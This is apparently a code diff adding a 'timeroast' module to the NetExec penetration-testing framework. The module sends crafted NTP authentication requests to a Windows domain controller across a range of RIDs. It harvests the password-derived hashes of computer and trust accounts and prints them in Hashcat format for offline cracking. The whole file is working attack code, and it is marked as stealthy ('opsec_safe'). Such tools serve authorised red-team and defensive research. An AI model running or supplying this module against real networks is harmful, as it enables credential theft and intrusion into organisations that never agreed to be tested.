1+ from binascii import hexlify , unhexlify
2+ from select import select
3+ from time import time
4+ from socket import socket , AF_INET , SOCK_DGRAM
5+ from struct import pack , unpack
6+
7+
8+
9+ def hashcat_format (rid , hashval , salt ):
10+ """
11+ Encodes hash in Hashcat-compatible format (with username prefix).
12+ """
13+ return f'{ rid } :$sntp-ms${ hexlify (hashval ).decode ()} ${ hexlify (salt ).decode ()} '
14+
15+ class NXCModule :
16+ '''
17+ Module by Disgame: @Disgame
18+ Based on research from SecuraBV (@SecuraBV)
19+
20+ Much of this code was copied from the original implementation.
21+ '''
22+
23+ name = 'timeroast'
24+ description = 'Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account'
25+ supported_protocols = ['smb' ]
26+ opsec_safe = True
27+ multiple_hosts = True
28+
29+ def __init__ (self ):
30+ self .context = None
31+ self .module_options = None
32+
33+ # Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query.
34+ self .ntp_prefix = unhexlify ('db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a' )
35+
36+
37+ def options (self , context , module_options ):
38+ """Required.
39+ Module options get parsed here. Additionally, put the modules usage here as well
40+ """
41+ self .rids = range (1 , 2 ** 31 )
42+ self .rate = 180
43+ self .timeout = 24
44+ self .src_port = 0
45+ self .target = None
46+
47+ if "rids" in module_options :
48+ self .rids = module_options ["rids" ]
49+ if "rate" in module_options :
50+ self .rate = module_options ["rate" ]
51+ if "timeout" in module_options :
52+ self .timeout = module_options ["timeout" ]
53+ if "src_port" in module_options :
54+ self .src_port = module_options ["src_port" ]
55+
56+ def on_login (self , context , connection ):
57+
58+ if self .target is None :
59+ self .target = connection .host
60+
61+ for rid , hash , salt in self .run_ntp_roast (context , self .target , self .rids , self .rate , self .timeout , False , self .src_port ):
62+ context .log .highlight (hashcat_format (rid , hash , salt ))
63+
64+ def run_ntp_roast (self , context , dc_host , rids , rate , giveup_time , old_pwd , src_port = 0 ):
65+ """Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs.
66+ Rate is the number of queries per second to send.
67+ Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will
68+ not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network
69+ issues.
70+
71+ Yields (rid, hash, salt) pairs, where salt is the NTP response data.
72+ """
73+
74+ # Flag in key identifier that indicates whether the old or new password should be used.
75+ keyflag = 2 ** 31 if old_pwd else 0
76+
77+ # Bind UDP socket.
78+ with socket (AF_INET , SOCK_DGRAM ) as sock :
79+ try :
80+ sock .bind (('0.0.0.0' , src_port ))
81+ except PermissionError :
82+ context .log .exception (f'No permission to listen on port { src_port } . May need to run as root.' )
83+
84+ context .log .display ("Starting Timeroasting..." )
85+
86+ query_interval = 1 / rate
87+ last_ok_time = time ()
88+ rids_received = set ()
89+ rid_iterator = iter (rids )
90+
91+ while time () < last_ok_time + giveup_time :
92+ # Send out query for the next RID, if any.
93+ query_rid = next (rid_iterator , None )
94+ if query_rid is not None :
95+ query = self .ntp_prefix + pack ('<I' , query_rid ^ keyflag ) + b'\x00 ' * 16
96+ sock .sendto (query , (dc_host , 123 ))
97+
98+ # Wait for either a response or time to send the next query.
99+ ready , [], [] = select ([sock ], [], [], query_interval )
100+ if ready :
101+ reply = sock .recvfrom (120 )[0 ]
102+
103+ # Extract RID, hash and "salt" if succesful.
104+ if len (reply ) == 68 :
105+ salt = reply [:48 ]
106+ answer_rid = unpack ('<I' , reply [- 20 :- 16 ])[0 ] ^ keyflag
107+ md5hash = reply [- 16 :]
108+
109+ # Filter out duplicates.
110+ if answer_rid not in rids_received :
111+ rids_received .add (answer_rid )
112+ yield answer_rid , md5hash , salt
113+ last_ok_time = time ()
0 commit comments